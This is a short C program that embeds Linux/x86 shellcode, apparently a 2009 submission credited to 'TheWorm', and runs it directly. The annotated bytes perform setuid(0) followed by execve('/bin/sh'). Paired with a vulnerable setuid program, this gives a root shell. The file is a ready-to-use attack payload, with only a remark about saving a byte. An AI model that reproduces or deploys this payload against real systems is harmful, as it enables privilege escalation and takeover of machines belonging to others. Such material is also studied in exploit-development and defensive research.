#include <stdio.h> const char shellcode[]= "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x0b" // mov $0xb,%al (So you'll get segfault if it's not able to do the setuid(0). If you don't want this you can write "\x6a\x0b\x58" instead of "\xb0\x0b", but the shellcode will be 1 byte longer "\x99" // cltd "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\xcd\x80"; // int $0x80 int main() { printf ("\n[+] Linux/x86 setuid(0) & execve(/bin/sh,0)" "\n[+] Date: 23/06/2009" "\n[+] Author: TheWorm" "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1); (*(void (*)()) shellcode)(); return 0; }